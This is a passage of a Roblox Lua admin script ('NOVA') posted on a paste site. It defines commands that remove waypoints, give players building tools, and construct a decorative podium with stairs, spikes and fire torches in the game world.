  4861. AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
  4862. function(Msg,Speaker)
  4863. Rtn = {}
  4864. for num,v in pairs(NOVA.Waypoints) do
  4865. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4866. table.insert(Rtn,num)
  4867. end)
  4868. end
  4869. Output("Done",NOVA.Colors.Green,Speaker,nil,function()
  4870. RemoveTablets(Speaker)
  4871. for _,v in pairs(Rtn) do
  4872. table.remove(NOVA.Waypoints,v)
  4873. end
  4874. end)
  4875. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4876. end
  4877. )
  4878. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  4879. function(Msg,Speaker)
  4880. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4881. pcall(function()
  4882. for i=0,3 do
  4883. Instance.new("HopperBin",v.Backpack).BinType = i
  4884. end
  4885. end)
  4886. end
  4887. end
  4888. )
  4889. AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
  4890. function(Msg,Speaker)
  4891. local MainColor = Color3.new(0,0,0)
  4892. local SeccondaryColor = Color3.new(0.69,0.13,0.13)
  4893. local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
  4894. local MainCFrame = Speaker.Character.Torso.CFrame
  4895. * CFrame.new(0,-4,0)
  4896. + Speaker.Character.Torso.CFrame.lookVector*3
  4897. local SeccondaryCFrame = Speaker.Character.Torso.CFrame
  4898. * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  4899. + Speaker.Character.Torso.CFrame.lookVector*3
  4900. if CFrame == nil then return end
  4901. coroutine.resume(coroutine.create(function()
  4902.  
  4903. for i=1,25 do
  4904. wait()
  4905. local Step = Instance.new("Part",Main)
  4906. Step.FormFactor = "Custom"
  4907. Step.Name = "Step"
  4908. Step.Anchored = true
  4909. Step.Locked = true
  4910. Step.Reflectance = 0
  4911. Step.TopSurface = "Smooth"
  4912. Step.BottomSurface = "Smooth"
  4913. Step.BrickColor = BrickColor.new(SeccondaryColor)
  4914. Step.Size = Vector3.new(6,1,3)
  4915. Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  4916. Instance.new("BlockMesh",Step)
  4917.  
  4918. local Carpet = Instance.new("Part",Main)
  4919. Carpet.FormFactor = "Custom"
  4920. Carpet.Name = "Carpet"
  4921. Carpet.Anchored = true
  4922. Carpet.Locked = true
  4923. Carpet.Reflectance = 0
  4924. Carpet.TopSurface = "Smooth"
  4925. Carpet.BottomSurface = "Smooth"
  4926. Carpet.BrickColor = BrickColor.new(MainColor)
  4927. Carpet.Size = Vector3.new(4,1,3.2)
  4928. Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  4929. Instance.new("BlockMesh",Carpet)
  4930. end
  4931. local MainCirc = Instance.new("Part",Main)
  4932. MainCirc.FormFactor = "Custom"
  4933. MainCirc.Name = "MainCirc"
  4934. MainCirc.Anchored = true
  4935. MainCirc.Locked = true
  4936. MainCirc.Reflectance = 0
  4937. MainCirc.TopSurface = "Smooth"
  4938. MainCirc.BottomSurface = "Smooth"
  4939. MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  4940. MainCirc.Size = Vector3.new(20,1,20)
  4941. MainCirc.CFrame = SeccondaryCFrame
  4942. Instance.new("CylinderMesh",MainCirc)
  4943.  
  4944. local SeccondaryCirc = Instance.new("Part",Main)
  4945. SeccondaryCirc.FormFactor = "Custom"
  4946. SeccondaryCirc.Name = "SeccondaryCirc"
  4947. SeccondaryCirc.Anchored = true
  4948. SeccondaryCirc.Locked = true
  4949. SeccondaryCirc.Reflectance = 0
  4950. SeccondaryCirc.TopSurface = "Smooth"
  4951. SeccondaryCirc.BottomSurface = "Smooth"
  4952. SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  4953. SeccondaryCirc.Size = Vector3.new(18,1,18)
  4954. SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  4955. Instance.new("CylinderMesh",SeccondaryCirc)
  4956. for i=1,math.floor(360/6) do
  4957. local Spike = Instance.new("Part",Main)
  4958. Spike.FormFactor = "Custom"
  4959. Spike.Name = "Spike"
  4960. Spike.Anchored = true
  4961. Spike.Locked = true
  4962. Spike.Reflectance = 0
  4963. Spike.TopSurface = "Smooth"
  4964. Spike.BottomSurface = "Smooth"
  4965. Spike.BrickColor = BrickColor.new(MainColor)
  4966. Spike.Size = Vector3.new(1,7,1)
  4967. Spike.CFrame = SeccondaryCFrame
  4968. * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  4969. * CFrame.new(7,-7,0)
  4970. Torch = Instance.new("Part",Main)
  4971. Torch.Reflectance = 1e+999
  4972. Torch.FormFactor = "Custom"
  4973. Torch.Shape = "Ball"
  4974. Torch.Anchored = true
  4975. Torch.Locked = true
  4976. Torch.Size = Vector3.new(2,2,2)
  4977. Torch.CFrame = Spike.CFrame
  4978. * CFrame.new(0,3.5,0)
  4979. * CFrame.Angles(0,0,0)
  4980. Instance.new("Fire",Torch)
  4981. end
  4982. end))
  4983. end
  4984. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement